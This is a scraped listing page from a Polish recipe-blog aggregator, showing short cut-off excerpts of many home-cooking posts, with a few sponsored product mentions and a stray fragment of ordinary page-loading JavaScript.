ketchupy.  Ketchup bez dodatku cukru dla dzieci BIO przedstawiany jest przez producenta jako przetwór dla zdrowego brzucha , który zawiera pomidory z upraw ekologicznych i jest bezcukrowym zamiennikiem tradycyjnych sosów . Szczególnych właściwości nadaje mu koncentrat soku jabłkowego , użyty dla wzbogacenia smaku. Ketchup jest więc produktem ekologicznym, bezglutenowym i bez dodatku soi - idealny również dla wegan i wegetarian. Gdy tylko sięgnęłam

Grunt to przepis!
PLACKI MIĘSNO-ZIEMNIACZANE 284

ziemniaków.  Starte ziemniaki wzbogacone o mielone mięso ( u mnie mniej więcej proporcje 1/1) są nie tylko smaczne, ale i bardzo pożywne.  Można je zjadać z dodatkiem surówki, sosu czosnkowego czy np.  ketchupu. Można je usmażyć wcześniej w domu, po czym odgrzać np. na grillu i szybka przekąska gotowa.  Składniki: ok. 40 0g zmielonej łopatki ok. 400g

Walijskie Pichcenie
Bun Bo Nam Bo Sałatka z wołowiną i makaronem bun 274

plus mnóstwo dodatków. Brzmi dobrze? I jest naprawdę dobre. W ostatni weekend odwiedziła nas przyjaciółka z pobliskiej Wielkiej Brytanii. Jej wizyty zawsze nas cieszą, zatem była

slodkokwasnapl
Czekolada do picia słodzona buraczaną melasą 201

najlepiej gorzka, gdyż tylko taka zawiera sporą dawkę magnezu. Nie jestem zwolenniczką gorzkiej czekolady, wolę mleczną czy nadziewaną. Gorzka jednak jest idealna do przygotowywania np. sufletów, napojów czy sosów. Można ją także dodawać do mięsa, z którym ciekawie komponuje się smakowo. Z okazji "Dnia Czekolady" zapraszam na czekoladę do picia na gorąco.  Moja czekolada powstała bardzo szybko i prosto

Codzienna kuchnia niecodzienna
SAŁATKA Z BROKUŁAMI 172

pomidory. Migdały prażymy na suchej patelni, posypujemy nimi sałatkę. Na wierzch układamy ser feta pokrojony w kostkę. Jogurt mieszamy z ziołami, solą i pieprzem. Przed podaniem sałatkę polać sosem

Zrób to smacznie
ZRAZY Z MIĘSA MIELONEGO 231

garnka zalać wodą, przyprawić kucharkiem, pieprzem, papryką dodać kilka kulek ziela angielskiego i 2-3 listki laurowe. Dusić pod przykryciem ok. 15-20min. Gotowe zrazy wyjąć a sos zagęścić mąką

Zrób to smacznie
Żarcie na kółkach| Start sezonu 2016 153

wołowiną i dodatkami – mała porcja jak na dużą. Gdybym nie miała vouchera i zamówiłabym dużą, małą porcję za 24 zł, żądałabym zwrotu pieniędzy. Smak? Czułam tylko pikantny sos. Zapakowane w kawałek serwetki i folię aluminiową, zalało moje spodnie… Co ciekawe, spójrzcie na zdjęcia poniżej, a teraz na zdjęcie tu . Jakby bardziej wypchane po brzegi. Easy Rider Bardzo miłe

Kuchnia Bazylii
Indycze golonki w marynacie miodowo-musztardowej 169

dzień wcześniej. Pozostaje mi tylko Wam życzyć smacznego. Indycze golonki w marynacie miodowo-musztardowej -4 golonki indycze Marynata : -3 łyżki miodu -3 łyżki musztardy - 1 łyżka oleju - 4 łyżki sosu sojowego ciemnego -1 łyżka  soku z cytryny - odrobina pieprzu świeżo zmielonego Wszystkie składniki marynaty dokładnie mieszamy. Polewamy golonki marynatą i wstawiamy do lodówki najlepiej na całą noc. Dopóki

Kulinarne przemyslenia
Imprezowe jajka  199

ugotowanych jajek -pieprz -bez soli Jajka kroimy na pół wyciągamy żółtka. Szynkę i żółtka bardzo drobno kroimy. Mieszamy z resztą składników. Przygotowanym farszem nadziewamy łódeczki z białek. robimy sos: - pól małego jogurtu naturalnego, - 1 łyżka śmietany, - 2 łyżki majonezu, -świeży imbir starty na tarce (ilość wg uznania), -1 łyżka ketchupu łagodnego, -1 łyżeczka mielonych orzechów włoskich, -szczypta soli. Wszystkie składniki

Kulinarne przemyslenia
Sałatka wiosenna z tuńczykiem 149

wypłucz go, gdyż może być gorzki. Wszystkie składniki odpowiednio umyj i pokrój wedle upodobania. Dodaj tuńczyka, ser Tylżycki bez laktozy i sezam. Na koniec pomidor, bazylię oraz cebulkę. Pokrop sosem vinaigrette. Podawaj natychmiast! Smacznego śniadanka

Z Kuchni Do Kuchni
Lemon curd – idealny krem cytrynowy 223

Mocno cytrynowy, piekielnie aromatyczny, słoneczny krem. Lemon curd nadaje się jako krem do ciast, nadzienie do babeczek, rogalików, smarowidło do porannego tosta, na kanapkę, na sos do lodów, owoców, lepiszcze do podwójnych bez, dodatek do jogurtu czy smoothie. Niektórzy wyjadają łyżeczką ze słoików Nutellę. Ja wyjadam lemon curda – i nie mam litości. Za jednym posiedzeniem zjem sama połowę słoika. Chyba

Karo in the Kitchen
Stroganoff z kiełbasą – przepis 3 187

mięsa. Jeśli znajdziecie takie parówki to polecam przyrządzić dzisiejsze danie. U mnie dzisiaj Stroganoff z ryżem, bo tak sobie zażyczyło dziecię. Zioła, pieczarki i suszone pomidory…całkiem wypaśny sos pomidorowy, a na dodatek zaciągnięty mascarpone. Jak się okazało zapomniałam kupić kwaśną śmietanę…może to i dobrze, bo nikt nie lubi Stoganoff ze zważoną śmietaną, a mascarpone to solidna

codojedzenia
Surówka z kapusty pekińskiej z ogórkiem i papryką 227

solą oraz pieprzem. Do przygotowania surówki wykorzystałam ocet spirytusowy, który otrzymałam do testowania od firmy WOM Parczew . Ocet Parczew to doskonały dodatek do surówek, marynat, wytrawnych galaretek, mięs i sosów. Produkt spełnił wszystkie moje oczekiwania, jest wart polecenia i zakupu. Zachęcam do zakupu produktów firmy WOM Parczew , niezbędnych do przygotowania pysznych potraw

Tradycyjna kuchnia Kasi
Sałatka z tuńczykiem i jajkiem 176

sprawdzi się jako obiad w wersji fit. Wyrazisty tuńczyk świetnie współgra z lekko ostrą rukolą i delikatnym jajkiem. Składniki: (na duże 2 porcje) opakowanie rukoli puszka (200g) tuńczyka w sosie własnym 2 jajka 1 szalotka rzeżucha lub koperek ½ strąka czerwonej papryki oliwa z oliwek sól, czarny pieprz Sposób przygotowania: Jajka gotujemy na twardo w wodzie z dodatkiem octu lub soli

Pyry na Gaz
Mini calzone z mięsem mielonym i pieczarkami 206

Krok 7 Układamy pierogi na blaszce posmarowanej tłuszczem. Smarujemy wierzch rozbełtanym jajkiem. Pieczemy w piekarniku nagrzanym do 220 stopni (góra, dół) przez 20 minut. Smacznego   Można podawać z sosem pomidorowym. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

Coś bym zjadła
ZRAZIKI SCHABOWE Z WARZYWAMI 145

gotującego się bulionu przekładamy obsmażone roladki. Doprawiamy bulion do smaku solą i pieprzem. Gotujemy roladki ok 45 minut. Bulion z gotowania roladek zagęszczamy mąką. Roladki podajemy z ziemniakami, polewamy sosem

Z Majeczką w kuchni
Poniedziałkowy "fit" - Sałatka z tuńczykiem 197

przygotowaniu. Dziś sałatka z tuńczykiem z puszki, którą śmiało można przygotować w kilka chwil.  Sałatka z tuńczykiem SKŁADNIKI : 6-8 liści sałaty 1/3 puszki tuńczyka w kawałkach w sosie własnym 1 jajko kilka zielonych oliwek 2 szczypty rzeżuchy  PRZYGOTOWANIE : Sałatę płuczemy, osuszamy, szarpiemy na mniejsze kąski, układamy na półmisku. Jajko gotujemy na twardo, obieramy i kroimy w ćwiartki

Kulinarny Świat Konczi i Szpileczki
Kurczak w pomidorach z oliwkami 278

wlać do reszty składników na patelni. Gotować pod przykryciem przez ok. 35-40 minut- do czasu aż kurczak będzie soczysty i miękki. Powinien bez problemu odchodzić od kości. Jeżeli sos będzie zbyt gęsty, można dodać jeszcze trochę wody. Jeżeli będzie zbyt rzadki dusimy jeszcze kilka minut bez przykrycia. Smacznego

Pełny talerz
Chrupiące kąski kurczaka. 200

Jeśli lubicie drobiowe, soczyste kawałki kurczaka smażone w chrupiącej, aromatycznej panierce, to ten przepis jest dla Was! Ja podałam kąski z sosem czosnkowym i mówię Wam, pycha!!! Bardzo polecam! Składniki na chrupiące kąski kurczaka: podwójny filet z kurczaka 100 g jogurtu naturalnego 1 płaska łyżeczka curry 1 łyżeczka musztardy szczypta kardamonu szczypta chilli 2-3 garści płatków kukurydzianych sól pieprz

Rozpustne gotowanie
Z Codzisw.menu po boskiej stronie Wisły - Sesja fotograficzna dla Boskiej Pragi 198

Polenta z suszonymi pomidorami, serem pleśniowym, purée z bakłażana i sezamu, chutneyem z dyni i jabłka oraz pianą z palonego masła Czarne pierogi z łososiem, sezamem i sosem chrzanowym Hummus Ekipa Codzisw.menu prawie w komplecie: Natalia, Asia, Karolina, Wiktoria, Monika, Michał, Michał i ja ;) * Na koniec pragnę jeszcze raz podziękować naszym rodzicom założycielom - Michałowi i Wiktorii za zorganizowanie

Food Square
Boczek faszerowany 265

Kolejnym mięsnym przepisem, którym nasi goście i my delektowaliśmy się podczas wielkanocnego obiadu był pieczony Boczek faszerowany mięsem mielonym , który został podany na ciepło z sosem pieczeniowym . Gdy nie macie pomysłu, jak urozmaicić świąteczne menu, albo chcecie przygotować domową wędlinę, to my polecamy ten przepis, zaznaczam, że jest to potrawa dla miłośników mięsa, dla mięsnych smakoszy, szczególnie tych tłustych, gdyż

Damsko-męskie spojrzenie na kuchnię
Pulpety w sosie grzybowym 174

pewnego szwedzkiego sklepu z wyposażeniem wnętrz. Kurcze, lubimy te klopsiki, są naprawdę smaczne. Kiedyś zrobimy identyczne i wrzucimy na bloga przepis. A tymczasem prezentujemy Wam nasze własne pulpety w sosie grzybowym.       Potrzebujemy: około 1,5 kg wieprzowego mięsa mielonego 3 czerstwe kajzerki (namoczone wcześniej w wodzie i odciśnięte) 2 cebule (posiekane w kostkę) 2 jajka 2 ząbki

Marder&Marder Manufacture
Pancakes – niedzielne,amerykańskie,śniadanko 235

Dzisiaj dzieci wczorajszą wieczorną dyskusją wymogły na mnie coś nowego . Czy było trudno ? Absolutnie nie , na pewno nie raz jeszcze zrobię je na śniadanie , cudnie smakowały z miodem i sosem czekoladowym , a co dopiero jak zaczną się owoce sezonowe . Pyszne będą z truskawkami , miodem i jogurtem.. Mniam . Polecam , naprawdę świetne danie , na śniadanie " class="wp-smiley" style="height

Ogrodnik w podróży
Kotlety z kaszy jęczmiennej (z pieczarkami) 245

osoby) na jeden obiad, a potem usłyszałam: "Kiedy zrobisz takie same kotleciki?".  Fakt, są rewelacyjne i dla mnie smakują bez jakichkolwiek dodatków. Można je podawać z różnymi sałatkami, sosami, czy gulaszem. A co z tymi, którzy nie przepadają za kaszą jęczmienną? Zapewniam, że taki kotlet podbije ich kubki smakowe! (10 niewielkich sztuk) 120g kaszy jęczmiennej z pieczarkami (1 saszetka

Di gotuje
Ryżowe placki z ricotty 218

Ryżowe /bezglutenowe/ placki (pancakes) z ricotty i jogurt grecki, domowy sos czekoladowy Placuszki same w sobie są bez cukru. Rozpusta, a teraz czas na naukę.  byle do egzaminu. Przepis: / 1 porcja lub 2 mniejsze / własny 40 g mąki ryżowej 100 g ricotty  2 łyżki jogurtu (u mnie grecki) jajko Ricottę, jajko, jogurt i mąkę wymieszać bądź zmiksować. Rozgrzać

tost z dżemem
Placki z cukinii bez mąki (z serem i płatkami owsianymi) 244

tyle zdążyłam się załapać. Chyba to o czymś świadczy. Placuszki są naprawdę rewelacyjne, lekkie i znikają dosłownie "w oka mgnieniu". Idealne na ciepło, jak i po ostygnięciu, z sosem lub bez. 400-420g cukinii 2 jajka 1 cebula (średnia; użyłam czerwonej) 20g żółtego sera 1 łyżka serka śmietankowego 3 łyżki płatków owsianych (płaskie; błyskawicznych) sól, pieprz Dodatkowo: olej

Di gotuje
Doughnuts’y cynamonowe pieczone 154

cechą charakterystyczną jest dziurka pośrodku (z wyglądu przypominają doskonale znane w Polsce oponki). Zazwyczaj oblane mleczną czekoladą i udekorowane kolorową posypką. Są również wersje z kolorowym lukrem, karmelowym sosem, syropem klonowym czy najzwyczajniej obtoczone w posypce z cukru i cynamonu. Są również dwie wersje ich przygotowania: smażone i pieczone. Ja dziś postawiłam na lżejszą, pieczoną wersję. Na przygotowanie doughnuts potrzebujemy

Wędrówki po kuchni
Chili con carne 170

Cześć! Sam się nie spodziewałem, że zrobienie chili con carne, to taka prosta do przygotowania potrawa, a jednocześnie tak pyszna, aromatyczna i przyjemna. Jest to coś na kształt sosu z mielonego mięsa wołowego, lekko pikantne, aromatyczne i pełne kolendry.Danie naprawdę warte grzechu. I swoją droga pełen garnek pysznego chili można zrobić w 40-50 min., więc świetnie nadaje się

Kuba Gotuje
Sałatka z ogórka i czerwonej cebuli 229

lubi. Cebulkę kroimy dowolnie. Natkę siekamy, wrzucamy do kubka. Z połowy limonki wyciskamy sok i dodajemy do kubka. Dodajemy również oliwę oraz sól i pieprz. Mieszamy sos i polewamy sałatkę. 4.4.2.1 http://mieszamwgarnku.pl/salatki/salatka-ogorka-czerwonej-cebuli/ BosowKuchni     Artykuł Sałatka z ogórka i czerwonej cebuli pochodzi z serwisu Mieszam w garnku - Blog z przepisami kulinarnymi

Mieszam w Garnku
Kluski szare, kluski żelazne 203

się kojarzy z dobrymi kluskami domowymi w wersji dowolnej (kopytka, pyzy, śląskie do wyboru Kluski pasują zarówno do podrumienionej cebulki, ale sprawdzą się również z wszelkiego rodzaju mięsami w sosie. Podobno są i tacy, którzy jadają je z białym serem. Ja w każdym razie zawsze jak trę ziemniaki na placki, mam dylemat…. placki czy te kluski. Brzuszek by chciał

Mieszam w Garnku
(poznańskie) domowe burgery z indyka, krewetkami i sosem koperkowym 225

pisanie i przepisy - to tak wypadałoby wrzucić tutaj jakąś nową recepturę, co? Z tęsknoty za walizkami,Poznaniem i Siaśką - polecam na początek weekendu domowe burgery z indyka, krewetkami i sosem koperkowym. Szybkie, smaczne i zdrowe. Zapraszam. Dla nie-miesożerców: Wege burgery z botwiny i kaszy \ Czytaj więcej

Fiolka w kuchni
Omlet z kozim serem i słonecznikiem na sałatce z nowalijek 240

dodajemy drobno posiekany szczypiorek, sok z cytryny - doprawiamy do smaku solą i pieprzem, dokładnie mieszamy. Wykładamy na talerze sałatkę z nowalijek, na nią kładziemy omleta złożonego na pół. Polewamy sosem koperkowym, posypujemy ziarnami słonecznika, dekorujemy plasterkiem koziego sera. Smacznego

W kuchni Katie
Sól selerowa 183

rozdrabniamy. Następnie dosypujemy sól morską i ponownie miksujemy. Gotową sól selerową przechowujemy w suchych i szczelnie zamykanych pojemnikach. Sól selerowa jest bardzo ciekawą przyprawą, którą można wykorzystać do zup, sosów, sałatek, dań mięsnych, rybnych… i nie tylko. Bardzo aromatyczna z charakterystycznym intensywnym zapachem selera. Jeżeli lubicie to niezbyt doceniane warzywo, to ta przyprawa jest właśnie dla Was. Gorąco polecam. Wydrukuj

mojewypiekiinietylko
Sos meksykański z szafranowym ryżem 299

Szybki i smaczny obiad dla zapracowanych. Do kotletów mielonych dodałam konfiturę z cebuli a panierkę zrobiłam z chrupkiego żytniego pieczywa.   Składniki 1 słoik sosu meksykańskiego firmy Jamar 200 g mięsa mielonego 1 łyżeczka konfitury z cebuli firmy Proeco Polska … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Chiński rosół z kapustą pak choi 134

kurczaku (można go przygotować dzień wcześniej). Aby podkręcić jego smak (tym bardziej, że nie przepadam za klasycznym polskim rosołem) dodałam trochę orientalnych składników, jak kapusta pak choi, imbir, sos sojowy i japońskie sake. Taka zupa z powodzeniem może stanowić kompletny obiad. Smaki są głębokie i wyraziste więc zadowolą większość smakoszów

Milion Smaków
Krążki cebulowe z papryką (wersja z bułką tartą) 262

mąka pszenna bułka tarta (opcjonalnie) olej Ciasto: 1 jajko 1/4 szklanki mleka 1/2 szklanki mąki 1/2 łyżeczka soli 1/3 łyżeczki papryki słodkiej 1/3 łyżeczki papryki ostrej Dodatkowo: dip/sos (użyłam sosu 1000 Wysp )  Wszystkie składniki ciasta dokładnie zmiksować. (Ciasto powinno być bardzo gęste.) Cebulę pokroić w plasterki i rozdzielić na krążki. Każdy krążek dokładnie obtoczyć  w cieście, a następnie

Di gotuje
Sałatka grecka 259

kostkę, a cebulę w plasterki. Krok 2 Oliwę mieszamy z sokiem z cytryny i dodajemy oregano. Dokładnie mieszamy. Krok 3 Wszystkie przygotowane składniki oraz oliwki układamy na talerzu, polewamy sosem i dokładnie mieszamy. function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

Kuchnia Bazylii
Karkówka w cebuli i borowikach wg Aleex 186

Przykryć naczynie folią aluminiową, wstawić do piekarnika nagrzanego do 185 stopni C na 2 godziny. 7. 20 minut przed końcem pieczenia zdjąć folię. 8. Podawać z ulubionymi dodatkami. Powstały sos można zmiksować blenderem. Smacznego

W mojej kuchni
Zapiekane kuleczki mięsne w sosie cebulowo- borowikowym wg Aleex 207

Nowy Rok (szósty rok na blogu) zaczynam od pysznego dania, które zrobiłam inspirując się przepisem na karkówkę w cebuli i borowikach . Mięsne kuleczki zapiekane w pysznym sosie z dodatkiem grzybów zaspokoją niejedno wymagające podniebienie. U mnie zniknęły w błyskawicznym tempie. Danie jest proste i szybkie, ale naprawdę świetnie smakuje. Nadaje się nie tylko na zwyczajny obiad, doskonale sprawdzi się także

W mojej kuchni
Kąski mięsne z galaretką w słoiku wg Aleex 215

galaretką w słoikach. To rodzaj konserwy, którą można wykorzystać na kilka sposobów. Można pokroić mięso w plasterki i położyć na kanapce. Można je dodać do zupy lub makaronu czy sosu. Możne je podgrzać i zjeść z ziemniakami jako pyszny obiad. Kąski mięsne śmiało możecie zabrać ze sobą na urlop nawet wtedy, gdy nie macie dostępu do lodówki. Po odpowiednim pasteryzowaniu

W mojej kuchni
Zapiekanka makaronowa z kabanosami wg Aleex 187

wędliną i cebulką. Przełożyć do naczynia żaroodpornego (wcześniej lekko natłuścić je olejem). 5. Pomidory zmiksować z przyprawami i ząbkiem czosnku przeciśniętym przez praskę. 6. Makaron z wędliną polać sosem pomidorowym, posypać garścią sera startego na dużych oczkach tarki, przemieszać. 7. Wierzch zapiekanki posypać pozostałym serem. 8. Wstawić do piekarnika nagrzanego do 180 stopni C na 15-20 minut. 9. Podawać

W mojej kuchni
Rolada z szynki z grzybami leśnymi wg Aleex 178

bulionem. W razie potrzeby dolać bulionu. 12. Rolady wyłożyć na deseczkę, by mięso „odpoczęło” po pieczeniu. 13. Mięso pokroić w plastry. 14. Podawać z ulubionymi dodatkami, ewentualnie z odrobiną sosu pieczeniowego lub grzybowego. Smacznego

W mojej kuchni
Lublin Restaurant Week - tasting menu w Hotelu Agit 233

też jeden z powodów, dlaczego zdecydowałem się na wybór tej restauracji. Mięso było zwarte, dobrze doprawione i porządnie nadziane farszem z kurek i orzechów - myślę, że to udane połączenie. Sos był mocno zredukowany i wyrazisty co przełamało leśno-orzechowy smak farszu jak i samego królika. Puree z groszku było smaczne - wydaje mi się, że można byłoby tu tylko popracować

Right Behind The Kitchen
Zupa z ciecierzycy 145

Pokrój w kostkę kiełbasę i dodaj do cebuli, podsmaż. Odstaw. Ugotuj zupę z ciecierzycy zgodnie z przepisem na opakowaniu, dodaj fasoli z puszki. Wymieszaj. Jeśli chcesz ,możesz całość wzmocnić sosem pomidorowym . Pod koniec gotowania dodaj kiełbasę z cebulką, zameszaj , dosmacz solą i pieprzem. Danie gotowe! Smacznego

Z Kuchni Do Kuchni
Butter Chicken 184

obsmaż na patelni z olejem kokosowym , następnie zmniejsz ogień, przykryj i duś ok 5 min. Dodaj pomidory z puszki, mleko kokosowe i odrobinę soli, smaż już bez przykrycia aby sos lekko się zredukował ok 5 min. Dodaj zmielony czosnek z imbirem. Następnie dodaj zamarynowane piersi kurczaka, orzechy i smaż ok 20 min.  Podawaj danie z ryżem  Smacznego

Niezły Młynek
Pizza 283

pierwszy do przygotowania ciasta na pizzę wykorzystałam suche drożdże. Struktura ciasta znakomita, a jego grubość należy dostosować do własnych upodobań :) Do tego na cieście rozsmarowałam aromatyczny pomidorowy sos … Czytaj dalej Pizza

czarrna od kuchni
Krokiety ziemniaczane z pieczarkami 202

części, rozpłaszczyć na dłoni i nakładać farsz. Zlepić i uformować podłużne krokieciki. Obtaczać w bułce tartej i smażyć na mocno rozgrzanym oleju. Podawać z surówką lub ulubionym sosem

Smakołyki Asi
Penne z cukinią i rukolą 232

już u nas na stałe. Dlatego w mojej kuchni również pojawiły się lżejsze, bardziej wiosenne i warzywne dania. Powoli czas pożegnać się z ciężkim i sycącym mięsem oraz zawiesistymi sosami. Moją propozycją na lekki obiad jest penne z cukinią i rukolą. Skusicie się? Wpis powstał przy współpracy z marką Lubella.     Składniki /2-3 porcje/: 1/2 opakowania makaronu Penne rigate

Pasja Smaku
Zapiekanka "Gołąbek" 217

przygotowanie gołąbków jeśli nie chcecie, nie lubicie lub po prostu nie wychodzi Wam zawijanie tradycyjnych gołąbków. Farsz można dowolnie modyfikować. Mięso możecie wymieszać z ryżem i podać zapiekankę z sosem pomidorowym. Ja jednak zachęcam Was do przygotowania gołąbków z kaszą, szczególnie jeśli jeszcze nie próbowaliście. Naprawdę warto! Składniki: 1 główka kapusty 1 kg mięsa mielonego (500 g wieprzowiny

Smakowity Blog Kulinarny
Curry z kurczakiem i cukinią 512

Curry z kurczaka lubię od zawsze. Gęsty, aromatyczny sos z delikatną pikantna nutką jest gościem w moim domu w różnych postaciach. Dzisiaj zagościł u mnie w towarzystwie cukinii oraz obowiązkowo ryżu :) Zaletą tego dania jest jej prostota oraz szybkość wykonania (około 30 minut). Spróbujcie :) Składniki: Duża pierś z kurczaka duża cebula średnia cukinia 3 łyżki przyprawy curry łyżka pasty curry

ChilliJemy
Pierś z kurczaka plus sałatka: roszponka, pomidory, grejfrut. 178

rozkładamy roszponkę, plasterki pomidora, dodajemy obrane ze skórki cząstki grejfruta i upieczone (lub ugotowane na parze) mięso kurczaka. Całość doprawiamy do smaku. Do tej sałatki możemy dodać (specjalnie przygotowany) sos, będący mieszaniną odrobiny soku z grejfruta z dodatkiem oliwy z oliwek, plus sól i pieprz. Smacznego. Pozdrawiam serdecznie. Beata 197 total views, 2 views today Tweetnij The post

MODA NA BIO
Kule z sosem pieczarkowym, The Chinese Restaurant (Seinfeld) 264

Kolejny pomysł na obiad w miej niż 30 minut. Ugotuj na parze kule drożdżowe (3 minuty) i podaj z surówką  z kiszonej kapusty i sosem pieczarkowym (zagęszczonym odrobiną mąki kukurydzianej, jeśli macie, dodajcie do niego 3 łyżki płatków drożdżowych – będzie smakował jeszcze lepiej <pomysł Rafała>). Smacznego!     The Chinese Restaurant (Season 2, Episode 11) Have

Qlinarnie i Qlinarnie
Steki z masłem ziołowym 208

podawane z pysznym ziołowym masłem. Składniki: 4 steki Rib- Eye do marynaty: ¼ szklanki burbonu 1/3 szklanki brązowego cukru 2 łyżki oliwy z oliwek 2 łyżki musztardy Dijon 2 łyżeczki sosu Worcestershire 2 łyżeczki soli morskiej 1 łyżeczka czarnego pieprzu do masła ziołowego: ½ szklanki masła w temperaturze pokojowej 1 łyżeczka świeżego rozmarynu, drobno posiekanego 1 łyżeczka świeżego tymianku, grubo posiekanego

naRuszcie
Sernik bez pieczenia – kardamonowy, z wiśniową pianką 270

kwiatowy przez dodatek zielonego kardamonu, z rozpływającą się w ustach wiśniową delikatną jak chmurka pianką. Prosty i szybki deser do podania na wiele sposobów – ze świeżymi owocami, z owocowym sosem, solo. Jeśli pozbawicie go spodu z krakersów – będzie całkowicie bezglutenowy. Ten sernik szykowałam na małą, wysoką foremkę o średnicy 18cm. Jeśli chcecie robić go w większej tortownicy, np. w standardowej

Karo in the Kitchen
Pałki w keczupowej marynacie 227

żaroodpornego. Na wierzchu mięsa rozkładam kawałki masła. Naczynie przykrywam. Pałki piekę 1 godzinę i 30 minut w temperaturze 180 stopni. Podczas pieczenia mięso kilkakrotnie polewam wytworzonym w czasie pieczenia sosem. Do przygotowania potrawy wykorzystałam ketchup pikantny , który otrzymałam do testowania od firmy WOM PARCZEW . Ketchup PARCZEW to idealny dodatek do wielu potraw. Ja wykorzystałam go do przygotowania marynaty i się

Tradycyjna kuchnia Kasi
Pulpety z piersi kurczaka z suszonymi pomidorami w sosie warzywnym 194

Chciałam coś zrobić dietetycznego z piersi kurczaka. Jak wiadomo pierś z kurczaka ma tendencję do wysuszania podczas obróbki. Doszłam do wniosku, że zrobię mielone w sosie, ale żeby go nie zagęszczać mąką i śmietaną wykorzystałam przetarte warzywa z wywaru. Wyszło smacznie. Polecam. Składniki: 500 gram mielonego mięsa z piersi kurczaka 2 jajka ½ szklanki bułki tartej Niewielka ilość mleka Kilka pomidorów

Smaki Ewy
Żeberka wolno pieczone w sosie barbecue 166

żeberek przyprawa : 2 łyżki słodkiej papryki 1 łyżka cukru 1 łyżka soli 1 łyżeczka pieprzu 1 łyżeczka granulowanego czosnku 1 łyżeczka mielonego kminku 1 łyżeczka gorczycy sos barbecue

Polska Zupa
Zapiekanka rybna 182

solą i pieprzem i smażyć do momentu aż warzywa zmiękną. Wymieszać ze sobą śmietanę, musztardę i mąkę. Doprawić gałką muszkatołową a następnie połowę płynu wlać do warzyw. Smażyć aż sos zgęstnieje i się zredukuje. Wyciągnąć liść laurowy. Do formy żaroodpornej wysmarowanej masłem włożyć warzywa, a następnie rybę. Rybę doprawić solą oraz pieprzem i dodać resztę śmietany. Na rybe rozsmarować puree

Mama Gotuje
Kurczak o smaku koperkowym z cukinią i pieczarkami 230

stopniach - pod przykryciem. 10 minut wcześniej na wierzchu ułożyć cukinię - pokrojoną w plasterki. Następnie kurczaka odkryć i zapiekać przez kolejne 20-30 minut. (W międzyczasie całość polać wytwarzającym się sosem, aby pieczarki i cukinia nie były suche

Di gotuje
KOLOROWE ROLADKI SCHABOWE 193

mące. 4. W głębokim rondlu o grubym dnie rozpuszczamy masło, układamy roladki i obsmażamy na złoto ze wszystkich stron. Podlewamy gorącym bulionem, dusimy 20 min. pod przykryciem. Wyjmujemy roladki, sos zaprawiamy śmietaną. Podajemy z kluskami śląskimi, kaszą lub ziemniakami

słodki bratek
Krem angielski (custard) z granatem 147

Dziś zapraszam Was na  pyszny słodki deser, czyli krem angielski (custard) z granatem. Z reguły krem angielski  podawany jest w formie waniliowego sosu, tym razem przygotowałam go nieco inaczej i podałam w formie deseru budyniowego.  Krem angielski z granatem Czas przygotowania: 60 minut Składniki: 200 ml tłustego mleka 200 ml kremówki 30 lub 36%  6 żółtek

Kulinarne przygody Gatity
Cacciatore z kurczakiem i dynią / Chicken and squah cacciatore 214

Przedstawiam przepis na niezwykle smaczne i proste zarazem danie z najnowszej książki Jamiego Olivera „Everyday Super Food”. Kurczak duszony w piekarniku w sosie pomidorowym, z dynią, pieczarkami i oliwkami, a dodatek rozmarynu i wina tylko podkreśla smak tego dania. Jest ono bardzo łatwe w przygotowaniu, praktycznie robi się samo w piekarniku. Polecam na leniwy weekendowy obiad, podane

karmelowy
Szpinakowe fit placuszki (154 kcal) 153

Przepis na pyszne, lekkie placuszki ze szpinakiem i twarogiem. Można podać z sosem czosnkowym i kiełkami. Jeden placuszek ma tylko 154 kcal. Składniki (6 sporych placuszków): 450 g mrożonego szpinaku rozdrobnionego 4 jaja 3 ząbki czosnku 100 g chudego twarogu sól, pieprz 100 g mąki orkiszowej (może być inna) 3 łyżki otrąb owsianych   Dodatki: jogurt naturalny sól, pieprz czarny

e-PrzepisyKulinarne
Sałata Powiew wiosny 174

łyżeczki miodu sól, pieprz wyciśnięte 2 ząbki czosnku. Wykonanie Składniki sałaty kroimy a sałatę rwiemy i wrzucamy wszystko do miski. Na wierzch kładziemy jajko i ozdabiamy kiełkami. Dressing Składniki sosu mieszamy i polewamy sałatę 4.4.2.1 http://mieszamwgarnku.pl/salatki/salata-powiew-wiosny/ BosowKuchni   Artykuł Sałata Powiew wiosny pochodzi z serwisu Mieszam w garnku - Blog z przepisami kulinarnymi

Mieszam w Garnku
Kotlety z brokułów, ryżu i sera 568

tłuszczu, to będą wtedy mega fit kotlety, ja te usmażyłam na oleju rzepakowym, a po usmażeniu odsączyłam z nadmiaru tłuszczu, kotlety zostały podane z mixem sałat i pastą/ sosem paprykowym, który robiłam z myślą o zimie i wczesnej wiośnie. Smacznego! The post Kotlety z brokułów, ryżu i sera appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
PIZZERINKI Z CUKINIĄ I PIECZARKAMI 193

mała przekąska, doskonała na ciepło, jak również na zimno podawana z sosem czosnkowym, gratka dla fanów pizzy tylko w mniejszej formie SKŁADNIKI CIASTO: 1,5 szkl.mąki pszennej 25 g drożdży 2 łyżki oliwy 0,5 łyżeczki soli odrobina cukru ok. 0,5 szkl.ciepłej wody Nadzienie: ¼ kostki masła 1 mała cukinia 30 dag pieczarek, 1 cebula, 1 kiełbaska śląska

słodki bratek
PIZZA EKSPRESOWA WG BUNI 182

łyżeczki cukru, 1 łyżeczka soli, 2 łyżki oliwy z oliwek, ok. 2 szkl. mąki, ¾ szkl. ciepłej wody, Nadzienie: 5 plastrów szynki, 2 pieczarki, kawałek czerwonej papryki, kulka sera mozzarella Sos: 2 łyżki ketchupu, 2 łyżki przecieru pomidorowego, suszona bazylia WYKONANIE Ciasto: Drożdże rozkruszamy w dużej misce, dodajemy sól, cukier i wodę, mieszamy, przykrywamy ściereczką i odstawiamy na 5 min.w ciepłe

słodki bratek
POLĘDWICA Z WARZYWAMI Z RĘKAWA 303

